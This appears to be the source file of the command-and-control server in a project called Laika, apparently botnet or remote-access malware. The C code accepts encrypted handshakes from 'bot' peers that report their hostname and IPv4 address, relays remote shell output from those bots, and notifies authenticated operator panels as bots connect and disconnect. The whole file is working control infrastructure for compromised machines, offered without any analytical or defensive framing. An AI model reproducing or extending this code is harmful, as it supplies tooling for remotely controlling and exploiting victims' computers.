Laika/cnc/src/cnc.c

#include "lmem.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"

#include "cpanel.h"
#include "cnc.h"

LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN,
    [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t),
    [LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t)
};

void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
    uint8_t id = laikaS_readByte(&peer->sock);

    printf("Shell %d for peer %lx was closed.\n", id, peer);
}

void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
    char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
    uint8_t id;

    if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
        LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!")

    id = laikaS_readByte(&peer->sock);
    laikaS_read(&peer->sock, (void*)buf, sz-1);
    write(STDOUT_FILENO, (void*)buf, sz-1);
}

void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
    char magicBuf[LAIKA_MAGICLEN];
    struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
    uint8_t major, minor;

    laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
    major = laikaS_readByte(&peer->sock);
    minor = laikaS_readByte(&peer->sock);
    peer->type = PEER_BOT;

    if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
        || major != LAIKA_VERSION_MAJOR
        || minor != LAIKA_VERSION_MINOR)
        LAIKA_ERROR("invalid handshake request!\n");

    /* read peer's public key */
    laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));

    /* read hostname & ipv4 */
    laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
    laikaS_read(&peer->sock, peer->ipv4, LAIKA_IPV4_LEN);

    /* restore null-terminator */
    peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
    peer->ipv4[LAIKA_IPV4_LEN-1] = 0;

    /* gen session keys */
    if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
        LAIKA_ERROR("failed to gen session key!\n")

    /* encrypt all future packets */
    laikaS_setSecure(peer, true);

    /* queue response */
    laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
    laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
    laikaS_endOutPacket(peer);

    /* handshake (mostly) complete */
    laikaC_onAddPeer(cnc, peer);

    LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
}

PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
    [LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest,
    [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake,
    [LAIKAPKT_SHELL_DATA] = laikaC_handleShellData
};

struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
    struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
    size_t _unused;

    cnc->panels = NULL;
    cnc->panelCap = 4;
    cnc->panelCount = 0;

    /* init socket & pollList */
    laikaS_initSocket(&cnc->sock);
    laikaP_initPList(&cnc->pList);

    /* bind sock to port */
    laikaS_bind(&cnc->sock, port);

    /* add sock to pollList */
    laikaP_addSock(&cnc->pList, &cnc->sock);

    if (sodium_init() < 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("LibSodium failed to initialize!\n");
    }

    /* load keys */
    LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
    if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("Failed to init cnc public key!\n");
    }

    if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("Failed to init cnc private key!\n");
    }

    return cnc;
}

void laikaC_freeCNC(struct sLaika_cnc *cnc) {
    laikaS_cleanSocket(&cnc->sock);
    laikaP_cleanPList(&cnc->pList);
    laikaM_free(cnc);
}

void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
    int i;

    /* notify connected panels of the newly connected peer */
    for (i = 0; i < cnc->panelCount; i++) {
        laikaC_sendNewPeer(cnc->panels[i], peer);
    }
}

void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
    int i;

    /* notify connected panels of the disconnected peer */
    for (i = 0; i < cnc->panelCount; i++) {
        if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */
            laikaC_sendRmvPeer(cnc->panels[i], peer);
    }
}

void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
    int i;

    for (i = 0; i < cnc->panelCount; i++) {
        if (cnc->panels[i] == panel) { /* we found the index for our panel! */
            laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1);
            return;
        }
    }
}

void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
    /* grow array if we need to */
    laikaM_growarray(struct sLaika_peer*, cnc->panels, 1, cnc->panelCount, cnc->panelCap);

    /* insert into authenticated panel table */
    cnc->panels[cnc->panelCount++] = panel;

    LAIKA_DEBUG("added panel %lx!\n", panel);
}

void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
    laikaC_onRmvPeer(cnc, peer);

    /* remove peer from panels list (if it's a panel) */
    if (peer->type == PEER_PANEL)
        laikaC_rmvPanel(cnc, peer);

    laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
    laikaS_freePeer(peer);

    LAIKA_DEBUG("peer %lx killed!\n", peer);
}

void laikaC_flushQueue(struct sLaika_cnc *cnc) {
    struct sLaika_peer *peer;
    int i;

    /* flush pList's outQueue */
    for (i = 0; i < cnc->pList.outCount; i++) {
        peer = cnc->pList.outQueue[i];
        LAIKA_DEBUG("sending OUT to %lx\n", peer);
        if (!laikaS_handlePeerOut(peer))
            laikaC_killPeer(cnc, peer);
    }
    laikaP_resetOutQueue(&cnc->pList);
}

bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
    struct sLaika_peer *peer;
    struct sLaika_pollEvent *evnts;
    int numEvents, i;

    laikaC_flushQueue(cnc);
    evnts = laikaP_poll(&cnc->pList, timeout, &numEvents);

    /* if we have 0 events, we reached the timeout, let the caller know */
    if (numEvents == 0) {
        return false;
    }

    /* walk through and handle each event */
    for (i = 0; i < numEvents; i++) {
        if (evnts[i].sock == &cnc->sock) { /* event on listener? */
            peer = laikaS_newPeer(
                laikaC_handlerTbl,
                laikaC_pktSizeTbl,
                &cnc->pList,
                (void*)cnc
            );

            /* setup and accept new peer */
            laikaS_acceptFrom(&peer->sock, &cnc->sock);
            laikaS_setNonBlock(&peer->sock);

            /* add to our pollList */
            laikaP_addSock(&cnc->pList, &peer->sock);

            LAIKA_DEBUG("new peer %lx!\n", peer);
            continue;
        }

        peer = (struct sLaika_peer*)evnts[i].sock;

        LAIKA_TRY
            if (evnts[i].pollIn && !laikaS_handlePeerIn(peer))
                goto _CNCKILL;

            if (evnts[i].pollOut && !laikaS_handlePeerOut(peer))
                goto _CNCKILL;

            if (!evnts[i].pollIn && !evnts[i].pollOut)
                goto _CNCKILL;

        LAIKA_CATCH
        _CNCKILL:
            laikaC_killPeer(cnc, peer);
        LAIKA_TRYEND
    }

    laikaC_flushQueue(cnc);
    return true;
}